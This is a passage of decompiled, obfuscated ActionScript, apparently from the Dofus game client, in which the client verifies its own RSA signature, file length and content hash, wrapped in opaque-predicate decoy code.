                                    if (((((((((_SEGMHMIIMXX(-22) ^ 15132) < (_SOIHEODHGI(-925) + -93485))) || (((((_SLGIEIEGEM(-960) ^ -32013) >= (_SHMHXLMXGD(-762) + -31560))) && (((_SOILEIMMEI(884) + -32393) == (_SEMXXIXOHDI(-289) ^ -23964352))))))) || (((-32127 - _SHXHIMXIGO(12)) <= (_SHMHXLMXGD(-29) + -32876))))) || (((93679 - _SOIHEODHGI(412)) < (_SLGIEIEGEM(-608) + -32466))))){
                                        return (((_SMWMMHIEOM(-914) ^ 333432) >= (_SOIHEODHGI(-538) ^ 93744)));
                                    };
                                    if (((((((32836 - _SLGIEIEGEM(-111)) > (_SEGMHMIIMXX(-440) + 15512))) || (((_SHMHXLMXGD(246) ^ -32679) == (-333519 - _SMWMMHIEOM(-69)))))) || (((((((_SEMXXIXOHDI(-293) + 23963546) > (_SEMXXIXOHDI(405) + 23964712))) && (((_SLGIEIEGEM(977) ^ -32141) >= (-32892 - _SHXHIMXIGO(698)))))) && (((94507 - _SOIHEODHGI(-225)) > (_SEGMHMIIMXX(-886) ^ -55147))))))){
                                        return (((523099 - _SMWMMHIEOM(832)) < (-23964312 - _SEMXXIXOHDI(-553))));
                                    };
                                    if (((((_SHXHIMXIGO(-525) ^ 33427) < (_SLGIEIEGEM(18) + -32961))) || (((((((_SOIHEODHGI(-162) + -94977) <= (_SHMHXLMXGD(173) + -31383))) && (((_SEMXXIXOHDI(-407) ^ -23963884) == (_SOILEIMMEI(-327) ^ 32362))))) && (((_SELWOWHMLML(503) ^ 41627) <= (_SELIOIHOEDL(-689) ^ -17532))))))){
                                        return (((((_SOILEIMMEI(-976) ^ -32240) > (_SEMXXIXOHDI(-257) ^ 23963693))) && (((_SELWOWHMLML(-692) + -42134) >= (_SLGIEIEGEM(-492) ^ 32447)))));
                                    };
                                    if (((((((((((_SOILEIMMEI(909) + -32934) == (-32781 - _SHXHIMXIGO(-862)))) && (((94295 - _SOIHEODHGI(892)) <= (_SEGMHMIIMXX(-635) ^ -55129))))) && (((-23964332 - _SEMXXIXOHDI(304)) < (_SELIOIHOEDL(782) + -32044))))) && (((_SHMHXLMXGD(405) + -32901) <= (_SELIOIHOEDL(589) ^ 31843))))) || (((_SELWOWHMLML(171) ^ 41104) > (_SEGMHMIIMXX(-772) ^ 55158))))){
                                        return (((((_SEMXXIXOHDI(241) ^ 23964329) < (42571 - _SELWOWHMLML(-156)))) || (((_SHXHIMXIGO(869) + 32696) >= (_SELWOWHMLML(157) ^ -41273)))));
                                    };
                                    return (((93565 - _SOIHEODHGI(804)) > (_SLGIEIEGEM(-31) ^ -32307)));
                                }()){
                                    decoyXorKey = (decoyXorKey ^ (42361 - _SELWOWHMLML(-764)));
                                };
                                if (sigFileLenght != (swfContent as ByteArray)["length"]){
                                    sigOk = false;
                                };
                                if (sigOk){
                                    hashType = sigData["readByte"]();
                                    sigHash = sigData["readUTF"]();
                                    swfContent["position"] = 0;
                                    tsHash = getTimer();
                                    if (hashType == 0){
                                        contentHash = lfc["contentLoaderInfo"]["applicationDomain"]["getDefinition"](dec("kgCpZm4DgfbBr94a9X1yGIG86JLF", "8HmHBAJs7pKl1g=="))["hashBytes"](swfContent);
                                    }
                                    else {
                                        sigOk = false;
                                    };
                                    if (sigOk){
                                        sigDate = new Date();
                                        _local_3 = sigDate;
                                        (_local_3["setTime"](sigData["readDouble"]()));
                                        _decoyXorKeyPart4_ = 0;
                                        if ((sigHash == contentHash) == function ():Boolean
                                        {
                                            if (((((((((_SLGIEIEGEM(713) + -31797) >= (77015 - _SMWMMHIEOM(-790)))) || (((((_SMWMMHIEOM(708) ^ 76509) >= (_SELIOIHOEDL(-31) ^ 17669))) && (((_SOILEIMMEI(-544) + -31760) < (94975 - _SOIHEODHGI(870)))))))) || (((_SELIOIHOEDL(821) ^ -18424) > (_SELWOWHMLML(541) + -40889))))) || (((_SHXHIMXIGO(629) ^ 33146) == (_SEGMHMIIMXX(-531) ^ -185654))))){
                                                return (((_SHMHXLMXGD(723) ^ -32438) <= (_SHMHXLMXGD(-136) + -32727)));
                                            };
                                            if (((((((-33624 - _SHXHIMXIGO(26)) <= (_SELIOIHOEDL(-854) + -32952))) || (((_SEMXXIXOHDI(-429) + 23964327) <= (32182 - _SOILEIMMEI(-326)))))) || (((_SHMHXLMXGD(516) + -31475) == (94105 - _SOIHEODHGI(499)))))){
                                                return (((_SMWMMHIEOM(-820) ^ 76146) > (_SLGIEIEGEM(-142) ^ 31972)));
                                            };
                                            if (((((((_SELIOIHOEDL(788) + 18216) < (_SMWMMHIEOM(737) + -76647))) || (((((_SHXHIMXIGO(-699) ^ 0x8100) <= (-32947 - _SHXHIMXIGO(195)))) && (((_SELWOWHMLML(-474) ^ 42222) <= (_SLGIEIEGEM(165) + -32579))))))) || (((_SHMHXLMXGD(-461) ^ -31805) == (-333695 - _SMWMMHIEOM(-345)))))){
                                                return (((31267 - _SELWOWHMLML(354)) == (-33121 - _SHXHIMXIGO(-161))));
                                            };
                                            if (((((((((76036 - _SMWMMHIEOM(-887)) < (_SOIHEODHGI(931) + -94747))) && (((_SEGMHMIIMXX(997) ^ 11011) <= (42146 - _SELWOWHMLML(-639)))))) && (((_SHXHIMXIGO(901) ^ -32800) >= (-32830 - _SHXHIMXIGO(450)))))) && (((-17410 - _SELIOIHOEDL(-668)) >= (_SOILEIMMEI(-967) ^ -31778))))){
                                                return (((_SOILEIMMEI(764) + -31344) <= (_SHXHIMXIGO(5) + 33232)));
                                            };
                                            if (((((((31129 - _SELIOIHOEDL(660)) <= (_SELWOWHMLML(835) + -41184))) && (((_SOIHEODHGI(362) ^ -93828) >= (_SELWOWHMLML(991) ^ -230782))))) && (((_SELWOWHMLML(-79) ^ -32687) == (-23963578 - _SEMXXIXOHDI(-219)))))){
                                                return (((((_SELWOWHMLML(770) + -41081) >= (_SEGMHMIIMXX(966) ^ -25441))) && (((_SHMHXLMXGD(481) ^ 32750) >= (_SELIOIHOEDL(413) ^ 32332)))));
                                            };
                                            if (((((((32698 - _SHMHXLMXGD(-299)) > (_SOILEIMMEI(541) + -31871))) || (((_SMWMMHIEOM(588) ^ -526560) > (31233 - _SELIOIHOEDL(-50)))))) || (((_SHXHIMXIGO(570) + 33735) > (_SHXHIMXIGO(374) ^ -33345))))){
                                                return (((((_SHXHIMXIGO(-269) + 32199) < (93720 - _SOIHEODHGI(-911)))) && (((5830 - _SEGMHMIIMXX(-750)) < (_SHXHIMXIGO(733) ^ -33416)))));
                                            };
                                            return (((_SEGMHMIIMXX(705) + -19099) >= (_SHXHIMXIGO(-642) + 33773)));
                                        }()){
                                            decoyXorKey = (decoyXorKey ^ (_SHXHIMXIGO(-227) + 32862));
                                        };
                                        if (sigHash != contentHash){
                                            sigOk = false;
                                        };
                                    };
                                };
                            };
                        };
                    }
                    catch(err:Error) {
                        sigOk = false;
                    };
                    var _decoyXorKeyPart5_:uint;
                    if ((sigHash == contentHash) != function ():Boolean
                    {
                        if (((((((((_SOILEIMMEI(-808) + -31040) < (_SOIHEODHGI(-981) ^ -93412))) || (((-19200 - _SEGMHMIIMXX(-239)) < (31206 - _SHMHXLMXGD(-746)))))) || (((((_SMWMMHIEOM(-335) + 334812) == (32357 - _SHMHXLMXGD(615)))) && (((_SEMXXIXOHDI(914) + 23963567) < (_SLGIEIEGEM(574) ^ -32249))))))) || (((-23963959 - _SEMXXIXOHDI(-915)) >= (_SOIHEODHGI(-796) + -94984))))){
                            return (((_SELIOIHOEDL(-538) ^ 18132) == (-16951 - _SELIOIHOEDL(-687))));
                        };
                        if (((((((_SLGIEIEGEM(-977) + -31573) == (_SHXHIMXIGO(-577) ^ -32928))) || (((-11310 - _SEGMHMIIMXX(442)) < (_SHMHXLMXGD(315) ^ 32747))))) || (((_SHXHIMXIGO(-674) + 32535) > (-23963699 - _SEMXXIXOHDI(357)))))){
                            return (((((_SOILEIMMEI(-281) + -32512) == (32922 - _SELIOIHOEDL(861)))) || (((-54527 - _SEGMHMIIMXX(-915)) <= (31633 - _SHMHXLMXGD(82))))));
                        };
                        if (((((((((((-32299 - _SHXHIMXIGO(-697)) >= (_SOILEIMMEI(-167) ^ -32381))) && (((_SOILEIMMEI(-400) + -32569) >= (_SEGMHMIIMXX(45) ^ -10501))))) || (((32347 - _SLGIEIEGEM(62)) > (_SEGMHMIIMXX(542) ^ -579305))))) || (((31102 - _SELWOWHMLML(-765)) == (_SEMXXIXOHDI(-442) + 23964144))))) || (((_SOIHEODHGI(-468) + -94558) > (41694 - _SELWOWHMLML(730)))))){
                            return (((_SHMHXLMXGD(-418) + -31545) >= (_SHMHXLMXGD(-267) ^ -31852)));
                        };
                        if (((((((((31006 - _SLGIEIEGEM(-489)) < (41977 - _SELWOWHMLML(-62)))) || (((((_SOILEIMMEI(12) + -32121) > (_SLGIEIEGEM(520) ^ 32339))) && (((-54713 - _SEGMHMIIMXX(-674)) == (_SMWMMHIEOM(-696) + 347919))))))) || (((_SELIOIHOEDL(-637) ^ 17789) == (_SEGMHMIIMXX(832) + -38906))))) || (((75565 - _SMWMMHIEOM(-463)) < (_SELIOIHOEDL(98) ^ -31917))))){
                            return (((31634 - _SELIOIHOEDL(453)) < (_SLGIEIEGEM(-575) ^ -31825)));
                        };
                        if (((((32173 - _SELIOIHOEDL(-779)) > (_SLGIEIEGEM(26) + -31974))) || (((_SMWMMHIEOM(989) ^ 75871) <= (-23964266 - _SEMXXIXOHDI(749)))))){
                            return (((230961 - _SELWOWHMLML(988)) > (_SEMXXIXOHDI(686) + 23964156)));
                        };
                        if (((((((_SOIHEODHGI(765) + -94893) == (32374 - _SLGIEIEGEM(-636)))) || (((_SEGMHMIIMXX(-743) + 33064) > (-23965252 - _SEMXXIXOHDI(-691)))))) || (((_SELIOIHOEDL(28) ^ 32149) <= (_SOIHEODHGI(-958) ^ 94087))))){
                            return (((_SELIOIHOEDL(730) ^ 32170) <= (32614 - _SELIOIHOEDL(531))));
                        };
                        if (((((((((31033 - _SLGIEIEGEM(-699)) <= (-23963908 - _SEMXXIXOHDI(-580)))) || (((31613 - _SOILEIMMEI(342)) < (_SMWMMHIEOM(746) ^ -76483))))) || (((-32540 - _SHXHIMXIGO(705)) < (230466 - _SELWOWHMLML(992)))))) || (((31958 - _SLGIEIEGEM(-194)) <= (31312 - _SLGIEIEGEM(615)))))){
                            return (((_SELIOIHOEDL(142) ^ 32062) == (_SOIHEODHGI(-719) ^ 93474)));
                        };
                        if (((((((31784 - _SHMHXLMXGD(106)) < (_SHMHXLMXGD(950) + -31359))) && (((_SHMHXLMXGD(720) + -31381) > (_SOIHEODHGI(837) ^ -93574))))) && (((_SLGIEIEGEM(-848) + -32056) > (32266 - _SOILEIMMEI(-486)))))){
                            return (((_SOILEIMMEI(-50) ^ -32393) == (_SMWMMHIEOM(-893) + 332296)));
                        };
                        return (((_SOIHEODHGI(290) + -94731) == (_SOIHEODHGI(-277) + -94373)));
                    }()){
                        decoyXorKey = (decoyXorKey ^ (31896 - _SOILEIMMEI(112)));
                    };
                    var _decoyXorKeyPart1000_:uint;
                    if (function ():Boolean
                    {
                        if (((((_SHXHIMXIGO(-765) + 33531) >= (_SELWOWHMLML(-40) ^ -41704))) && (((42450 - _SELWOWHMLML(-219)) > (_SELWOWHMLML(-165) ^ 40982))))){
                            return (((((_SELIOIHOEDL(764) + -31758) <= (_SELIOIHOEDL(-256) ^ 17546))) && (((-23963588 - _SEMXXIXOHDI(-846)) < (32158 - _SELWOWHMLML(310))))));
                        };
                        if (((((((_SOIHEODHGI(-291) ^ 93523) <= (_SHXHIMXIGO(943) ^ -33575))) && (((_SEMXXIXOHDI(93) + 23965001) < (_SHMHXLMXGD(510) + -31366))))) || (((((((_SEGMHMIIMXX(-528) ^ -6084462) >= (-17817 - _SELIOIHOEDL(153)))) && (((_SMWMMHIEOM(572) + -75792) > (32641 - _SHMHXLMXGD(734)))))) && (((_SHXHIMXIGO(745) ^ -33051) >= (_SLGIEIEGEM(-621) ^ -32158))))))){
                            return (((((_SOIHEODHGI(-369) ^ 93863) < (_SELIOIHOEDL(419) ^ -17430))) && (((_SOIHEODHGI(367) + -93433) <= (_SELIOIHOEDL(-241) ^ -17862)))));
                        };
                        if (((((((_SLGIEIEGEM(482) ^ 32075) <= (_SELIOIHOEDL(-461) + 17182))) || (((((_SELIOIHOEDL(637) ^ 17755) == (_SHXHIMXIGO(384) + 32627))) && (((95093 - _SOIHEODHGI(-523)) >= (_SOIHEODHGI(-252) + -94065))))))) || (((((_SLGIEIEGEM(-352) ^ 32044) == (-745461277 - _SEGMHMIIMXX(444)))) && (((_SEGMHMIIMXX(-917) + 767186675) <= (_SHMHXLMXGD(546) ^ -32444))))))){
                            return (((_SLGIEIEGEM(325) + -31167) <= (_SMWMMHIEOM(-424) ^ -76389)));
                        };
                        if (((((((31869 - _SLGIEIEGEM(-98)) >= (-23964963 - _SEMXXIXOHDI(242)))) && (((_SEGMHMIIMXX(470) + -33037) > (_SEMXXIXOHDI(-792) ^ -23963924))))) || (((_SELIOIHOEDL(-251) + 17745) == (32769 - _SOILEIMMEI(59)))))){
                            return (((((_SEGMHMIIMXX(-903) ^ 54785) == (40410 - _SELWOWHMLML(860)))) || (((-767187309 - _SEGMHMIIMXX(-104)) > (_SMWMMHIEOM(-340) + 333947)))));
                        };
                        if (((((((_SLGIEIEGEM(-274) ^ 32653) < (_SOILEIMMEI(14) + -31052))) || (((((((42149 - _SELWOWHMLML(489)) <= (527327 - _SMWMMHIEOM(577)))) && (((_SLGIEIEGEM(619) + -31889) <= (533432 - _SMWMMHIEOM(896)))))) && (((_SELIOIHOEDL(-536) + -32535) <= (_SLGIEIEGEM(550) + -31342))))))) || (((35730 - _SEGMHMIIMXX(749)) >= (_SEGMHMIIMXX(972) + 746481331))))){
                            return (((((_SHMHXLMXGD(346) ^ 32381) <= (_SELWOWHMLML(-794) ^ 32230))) || (((_SEGMHMIIMXX(341) + 10087) < (_SLGIEIEGEM(-228) ^ -32054)))));
                        };
                        if (((((_SHMHXLMXGD(-754) + -32711) == (_SLGIEIEGEM(-523) + -31774))) && (((_SELIOIHOEDL(549) + 17220) == (_SOILEIMMEI(816) ^ -32643))))){
                            return (((-11342 - _SEGMHMIIMXX(262)) == (-347146 - _SMWMMHIEOM(-864))));
                        };
                        return (((-32216 - _SHXHIMXIGO(-194)) < (_SHXHIMXIGO(54) + 33649)));
                    }() != true){
                        decoyXorKey = (decoyXorKey ^ (_SLGIEIEGEM(101) + -31955));
                    };
                    sigOk = true;
                    try {
                        swfSigData = getSigData(dofusInstance["stage"]["loaderInfo"]["bytes"]);
                        if (swfSigData){
                            rawSignature = swfSigData["signature"];
                            swfContent = swfSigData["signedData"];
                        };
                        if (!rawSignature){
                            sendTicket();
                            return;
                        };
                        rsaKey = _SEGXOIIMDXX["readRSAPublicKey"](pem);
                        headerPosition = (rawSignature["bytesAvailable"] - ANKAMA_SIGNED_FILE_HEADER["length"]);
                        rawSignature["position"] = headerPosition;
                        header = rawSignature["readUTFBytes"](4);
                        if (header != ANKAMA_SIGNED_FILE_HEADER){
                            sigOk = false;
                        };
                        if (sigOk){
                            rawSignature["position"] = (headerPosition - 4);
                            signedDataLenght = rawSignature["readShort"]();
                            rawSignature["position"] = ((headerPosition - 4) - signedDataLenght);
                            cryptedData = new ByteArray();
                            _local_3 = rawSignature;
                            (_local_3["readBytes"](cryptedData, 0, signedDataLenght));
                            sigData = new ByteArray();
                            tsDecrypt = getTimer();
                            _local_3 = rsaKey;
                            (_local_3["verify"](cryptedData, sigData, cryptedData["length"]));
                            sigData["position"] = 0;
                            sigHeader = sigData["readUTF"]();
                            _decoyXorKeyPart7_ = 0;
                            if ((sigHeader == SIGNATURE_HEADER) == function ():Boolean
                            {
                                if (((((((((_SHMHXLMXGD(-738) + -31774) < (_SHMHXLMXGD(-464) ^ -31830))) && (((_SELWOWHMLML(941) + -31397) > (_SELIOIHOEDL(-238) ^ 17657))))) && (((_SEMXXIXOHDI(-761) + 23963469) < (_SLGIEIEGEM(117) + -31476))))) || (((32507 - _SHMHXLMXGD(394)) > (_SELIOIHOEDL(304) ^ 18228))))){
                                    return (((_SELWOWHMLML(298) ^ 32589) > (-15730 - _SEGMHMIIMXX(-63))));
                                };
                                if (((((_SELIOIHOEDL(804) + 17500) >= (_SHMHXLMXGD(911) + -31311))) || (((((_SELIOIHOEDL(-699) + -31657) == (_SELWOWHMLML(-990) ^ -42882))) && (((_SHMHXLMXGD(-909) ^ 32421) < (_SEMXXIXOHDI(-484) ^ -23964279))))))){
                                    return (((32274 - _SOILEIMMEI(661)) == (_SHMHXLMXGD(841) ^ -31926)));
                                };
                                if (((((((77532 - _SMWMMHIEOM(-804)) >= (_SOILEIMMEI(-182) ^ 31829))) && (((32018 - _SLGIEIEGEM(997)) > (_SHMHXLMXGD(890) + -31349))))) || (((_SMWMMHIEOM(416) + -533236) <= (32659 - _SHMHXLMXGD(259)))))){
                                    return (((94063 - _SOIHEODHGI(11)) == (-23963995 - _SEMXXIXOHDI(-194))));
                                };
                                if (((((_SEMXXIXOHDI(-421) ^ -23964467) == (_SEMXXIXOHDI(982) ^ -23964308))) || (((((-32803 - _SHXHIMXIGO(325)) < (_SEMXXIXOHDI(-886) ^ -23964554))) && (((_SELWOWHMLML(33) ^ -32228) < (_SOIHEODHGI(-682) + -93250))))))){
                                    return (((_SOILEIMMEI(827) ^ 32438) > (_SMWMMHIEOM(-604) ^ 346094)));
                                };
                                return (((_SEGMHMIIMXX(-406) + 18807) <= (-23964254 - _SEMXXIXOHDI(-541))));
                            }()){
                                decoyXorKey = (decoyXorKey ^ (_SLGIEIEGEM(549) ^ 31934));
                            };
                            if (sigHeader != SIGNATURE_HEADER){
                                sigOk = false;
                            };
                            if (sigOk){
                                sigVersion = sigData["readByte"]();
                                _local_3 = sigData;
                                (_local_3["readInt"]());
                                _local_3 = sigData;
                                (_local_3["readInt"]());
                                sigFileLenght = sigData["readInt"]();
                                _decoyXorKeyPart8_ = 0;
                                if ((sigFileLenght == (swfContent as ByteArray).length) != function ():Boolean
                                {
                                    if (((((((((_SLGIEIEGEM(922) + -32828) < (_SEGMHMIIMXX(-249) ^ 19238))) && (((_SHXHIMXIGO(-672) + 33472) >= (_SEGMHMIIMXX(-732) + 54512))))) && (((_SHXHIMXIGO(54) ^ 33107) == (_SEGMHMIIMXX(-155) ^ -18520))))) || (((_SELIOIHOEDL(-310) + 17262) <= (_SLGIEIEGEM(-42) + -31720))))){
                                        return (((533404 - _SMWMMHIEOM(442)) >= (_SHMHXLMXGD(-24) ^ 32003)));
                                    };
                                    if (((((((_SELWOWHMLML(-600) + -43198) < (30992 - _SHMHXLMXGD(-53)))) || (((((_SELIOIHOEDL(844) + -31572) < (_SOIHEODHGI(-662) ^ 93498))) && (((_SELIOIHOEDL(-483) ^ 17572) > (-18413 - _SELIOIHOEDL(-963)))))))) || (((((_SHXHIMXIGO(71) + 33292) <= (94458 - _SOIHEODHGI(-935)))) && (((-23963441 - _SEMXXIXOHDI(-721)) <= (31882 - _SELIOIHOEDL(596)))))))){
                                        return (((_SEMXXIXOHDI(694) + 23964411) >= (_SLGIEIEGEM(150) + -31974)));
                                    };
                                    if (((((((-10335 - _SEGMHMIIMXX(281)) >= (_SHMHXLMXGD(638) + -32299))) || (((_SEMXXIXOHDI(342) + 23963772) == (-23964704 - _SEMXXIXOHDI(338)))))) || (((((_SELWOWHMLML(-996) ^ 42013) < (31743 - _SLGIEIEGEM(133)))) && (((_SELIOIHOEDL(-866) ^ -17950) >= (_SHXHIMXIGO(-68) ^ -33759))))))){
                                        return (((((_SHMHXLMXGD(-778) + -31185) == (_SEGMHMIIMXX(626) ^ -10864))) || (((_SOILEIMMEI(-139) + -31101) >= (_SELIOIHOEDL(718) ^ 31914)))));
                                    };
                                    if (((((((((((_SELIOIHOEDL(934) ^ 32737) <= (_SELIOIHOEDL(534) + 17131))) || (((25460 - _SEGMHMIIMXX(713)) > (_SEGMHMIIMXX(383) ^ 306222))))) || (((32088 - _SOILEIMMEI(-235)) <= (_SEGMHMIIMXX(721) ^ 36213))))) || (((_SHXHIMXIGO(-48) ^ 33498) < (_SOIHEODHGI(-807) ^ 93505))))) || (((_SMWMMHIEOM(-311) ^ -76407) >= (_SOIHEODHGI(-172) + -94116))))){
                                        return (((-19001 - _SEGMHMIIMXX(-283)) == (_SEMXXIXOHDI(-589) ^ 23964520)));
                                    };
                                    if (((((((_SHMHXLMXGD(335) + -32862) > (-17868 - _SELIOIHOEDL(569)))) && (((_SEGMHMIIMXX(-952) ^ -54305) <= (_SMWMMHIEOM(-127) + -76249))))) && (((_SOILEIMMEI(-83) + -30980) > (-18653 - _SEGMHMIIMXX(-134)))))){
                                        return (((((_SMWMMHIEOM(-182) ^ -334314) <= (_SEMXXIXOHDI(-64) ^ -23964413))) || (((-23963994 - _SEMXXIXOHDI(123)) == (_SOIHEODHGI(-346) ^ 93549)))));
                                    };
                                    if (((((((((_SELIOIHOEDL(-276) ^ -32492) >= (_SELWOWHMLML(-121) ^ -41443))) && (((_SELIOIHOEDL(437) ^ 32309) <= (_SMWMMHIEOM(-777) + -76718))))) || (((31433 - _SOILEIMMEI(908)) <= (_SHMHXLMXGD(463) + -30994))))) || (((((_SHMHXLMXGD(935) + -31240) <= (-334970 - _SMWMMHIEOM(-359)))) && (((_SELWOWHMLML(19) + -41127) < (_SHXHIMXIGO(683) + 32259))))))){
                                        return (((32743 - _SLGIEIEGEM(-148)) == (-23964742 - _SEMXXIXOHDI(13))));
                                    };
                                    return (((33255 - _SEGMHMIIMXX(197)) <= (_SOIHEODHGI(-180) + -93915)));
                                }()){
                                    decoyXorKey = (decoyXorKey ^ (94026 - _SOIHEODHGI(12)));
                                };
                                if (sigFileLenght != (swfContent as ByteArray)["length"]){
                                    sigOk = false;
                                };
                                if (sigOk){
                                    hashType = sigData["readByte"]();
                                    sigHash = sigData["readUTF"]();
                                    swfContent["position"] = 0;
                                    tsHash = getTimer();
                                    if (hashType == 0){
                                        contentHash = lfc["contentLoaderInfo"]["applicationDomain"]["getDefinition"](dec("kgCpZm4DgfbBr94a9X1yGIG86JLF", "8HmHBAJs7pKl1g=="))["hashBytes"](swfContent);
                                    }
                                    else {
                                        sigOk = false;
                                    };
                                    if (sigOk){
                                        sigDate = new Date();
                                        _local_3 = sigDate;
                                        (_local_3["setTime"](sigData["readDouble"]()));
                                        _decoyXorKeyPart9_ = 0;
                                        if ((sigHash == contentHash) == function ():Boolean
                                        {
                                            if (((((_SELIOIHOEDL(-750) ^ -18136) > (_SMWMMHIEOM(686) + -524547))) || (((_SOILEIMMEI(164) ^ 32571) > (_SEMXXIXOHDI(-263) ^ -23964403))))){
                                                return (((_SEMXXIXOHDI(-484) ^ 23964465) < (31178 - _SOILEIMMEI(-642))));
                                            };
                                            if (((((((((((-332305 - _SMWMMHIEOM(-893)) == (41326 - _SELWOWHMLML(93)))) || (((_SEMXXIXOHDI(-154) ^ 23964447) < (_SEMXXIXOHDI(409) ^ -23964562))))) || (((_SELWOWHMLML(214) + -40793) < (_SLGIEIEGEM(-230) + -32579))))) || (((_SHXHIMXIGO(-213) ^ 33691) >= (31122 - _SELIOIHOEDL(-698)))))) || (((_SMWMMHIEOM(-493) ^ -337298) > (94504 - _SOIHEODHGI(375)))))){
                                                return (((_SHMHXLMXGD(26) + -32820) <= (31144 - _SLGIEIEGEM(602))));
                                            };
                                            if (((((31950 - _SOILEIMMEI(171)) == (_SLGIEIEGEM(299) + -32579))) || (((_SELIOIHOEDL(207) ^ 31786) <= (-333351 - _SMWMMHIEOM(-185)))))){
                                                return (((((_SHXHIMXIGO(959) ^ -32840) == (_SHMHXLMXGD(353) + -32199))) && (((31473 - _SHMHXLMXGD(-170)) >= (_SHXHIMXIGO(-337) ^ 33623)))));
                                            };
                                            if (((((-17174 - _SELIOIHOEDL(123)) >= (_SLGIEIEGEM(992) + -31770))) || (((_SEGMHMIIMXX(627) + -24836) == (_SMWMMHIEOM(407) ^ 533390))))){
                                                return (((((32667 - _SELIOIHOEDL(808)) >= (_SLGIEIEGEM(-644) + -32757))) && (((_SELIOIHOEDL(484) + -32528) <= (43399 - _SELWOWHMLML(-990))))));
                                            };
                                            if (((((_SLGIEIEGEM(308) + -32540) > (_SHMHXLMXGD(-427) ^ -32097))) || (((_SMWMMHIEOM(543) + -75786) > (32008 - _SLGIEIEGEM(-700)))))){
                                                return (((_SEMXXIXOHDI(37) + 23963327) < (_SMWMMHIEOM(-686) + 346246)));
                                            };
                                            if (((((((_SELWOWHMLML(-96) + -42069) == (_SOIHEODHGI(-202) ^ 93743))) && (((-23963640 - _SEMXXIXOHDI(-957)) == (-347612 - _SMWMMHIEOM(-541)))))) || (((_SHXHIMXIGO(-31) + 32377) < (_SHXHIMXIGO(117) + 33772))))){
                                                return (((_SELIOIHOEDL(-628) + -32484) <= (_SMWMMHIEOM(841) + -524805)));
                                            };
                                            if (((((31775 - _SOILEIMMEI(582)) > (_SOIHEODHGI(26) ^ -93415))) || (((((_SHXHIMXIGO(-726) + 33726) < (-23963764 - _SEMXXIXOHDI(828)))) && (((_SELIOIHOEDL(-424) ^ -18370) > (32501 - _SOILEIMMEI(-770)))))))){
                                                return (((((_SMWMMHIEOM(-441) ^ 75968) > (_SEGMHMIIMXX(-240) ^ 13790))) && (((_SLGIEIEGEM(551) ^ 31955) < (31134 - _SOILEIMMEI(68))))));
                                            };
                                            if (((((_SLGIEIEGEM(-599) + -32641) <= (32605 - _SHMHXLMXGD(-884)))) || (((((_SOIHEODHGI(-219) ^ -93823) >= (-23964045 - _SEMXXIXOHDI(-725)))) && (((_SELWOWHMLML(529) + -41234) < (_SLGIEIEGEM(672) ^ 32322))))))){
                                                return (((_SHMHXLMXGD(612) ^ -31826) == (_SOILEIMMEI(807) ^ 31798)));
                                            };
                                            return (((((_SEMXXIXOHDI(821) + 23964759) > (_SOIHEODHGI(729) + -94854))) || (((109248 - _SELWOWHMLML(649)) > (_SELIOIHOEDL(-430) ^ 18275)))));
                                        }()){
                                            decoyXorKey = (decoyXorKey ^ (_SELWOWHMLML(663) + -40951));
                                        };
                                        if (sigHash != contentHash){
                                            sigOk = false;
                                        };
                                    };
                                };
                            };
                        };
                    }
                    catch(err:Error) {
                        sigOk = false;
                    };
                    var _decoyXorKeyPart10_:uint;
                    if ((sigHash == contentHash) != function ():Boolean
                    {
                        if (((((((((_SEMXXIXOHDI(859) + 23964739) <= (_SOIHEODHGI(-510) ^ -93389))) && (((32543 - _SOILEIMMEI(348)) > (_SEGMHMIIMXX(-331) + 15540))))) && (((_SHXHIMXIGO(914) + 33587) > (_SEGMHMIIMXX(778) + 582447))))) && (((31924 - _SLGIEIEGEM(-908)) <= (_SMWMMHIEOM(-457) ^ -76563))))){
                            return (((_SEMXXIXOHDI(174) ^ 23964213) == (533247 - _SMWMMHIEOM(117))));
                        };
                        if (((((((((_SHXHIMXIGO(-678) ^ -33157) < (_SEMXXIXOHDI(-928) + 23963660))) && (((_SHMHXLMXGD(466) + -32216) < (-18028 - _SELIOIHOEDL(622)))))) && (((_SELWOWHMLML(-485) + -42888) < (_SEMXXIXOHDI(-939) + 23963591))))) || (((_SEGMHMIIMXX(-639) + 54270) == (_SMWMMHIEOM(725) + -76780))))){
                            return (((_SELIOIHOEDL(-767) + -32805) <= (-23964249 - _SEMXXIXOHDI(-255))));
                        };
                        if (((((_SELIOIHOEDL(-995) + 17930) >= (_SELWOWHMLML(239) + -32058))) || (((-23963564 - _SEMXXIXOHDI(-628)) == (_SHMHXLMXGD(-959) ^ -32021))))){
                            return (((((-23965175 - _SEMXXIXOHDI(-860)) == (_SEGMHMIIMXX(-723) ^ 186948))) && (((76175 - _SMWMMHIEOM(361)) >= (_SEGMHMIIMXX(-876) + 33752)))));
                        };
                        if (((((((_SMWMMHIEOM(-272) ^ 337291) == (_SELIOIHOEDL(742) + -31254))) && (((_SHMHXLMXGD(-779) + -32272) < (31635 - _SOILEIMMEI(-285)))))) || (((31712 - _SOILEIMMEI(899)) > (_SOIHEODHGI(120) ^ -93230))))){
                            return (((((_SMWMMHIEOM(342) + -76677) >= (-190677 - _SEGMHMIIMXX(-217)))) && (((32956 - _SLGIEIEGEM(644)) <= (_SEGMHMIIMXX(-591) ^ -55278)))));
                        };
                        if (((((_SOIHEODHGI(-353) ^ 93822) <= (_SELIOIHOEDL(336) ^ -18153))) || (((((_SHMHXLMXGD(-863) ^ -32103) <= (_SHMHXLMXGD(275) ^ 31983))) && (((_SELIOIHOEDL(517) ^ 18006) > (_SELIOIHOEDL(-742) ^ 17526))))))){
                            return (((76742 - _SMWMMHIEOM(266)) == (_SHMHXLMXGD(254) + -31507)));
                        };
                        if (((((((-33090 - _SHXHIMXIGO(-629)) <= (_SHXHIMXIGO(787) ^ -33123))) || (((_SEGMHMIIMXX(735) ^ -36860) == (_SOIHEODHGI(767) + -95118))))) || (((((25338 - _SEGMHMIIMXX(143)) >= (_SOILEIMMEI(-464) + -31293))) && (((_SHXHIMXIGO(591) ^ -33479) < (-23963335 - _SEMXXIXOHDI(-3)))))))){
                            return (((_SHXHIMXIGO(-89) + 32562) >= (42989 - _SELWOWHMLML(-523))));
                        };
                        return (((((-33628 - _SHXHIMXIGO(261)) == (_SHXHIMXIGO(-612) + 0x8282))) && (((_SEMXXIXOHDI(548) + 23964955) == (_SELIOIHOEDL(-196) + -31634)))));
                    }()){
                        decoyXorKey = (decoyXorKey ^ (_SEMXXIXOHDI(296) ^ -23964342));
                    };
                    var _decoyXorKeyPart1001_:uint;
                    if (function ():Boolean
                    {
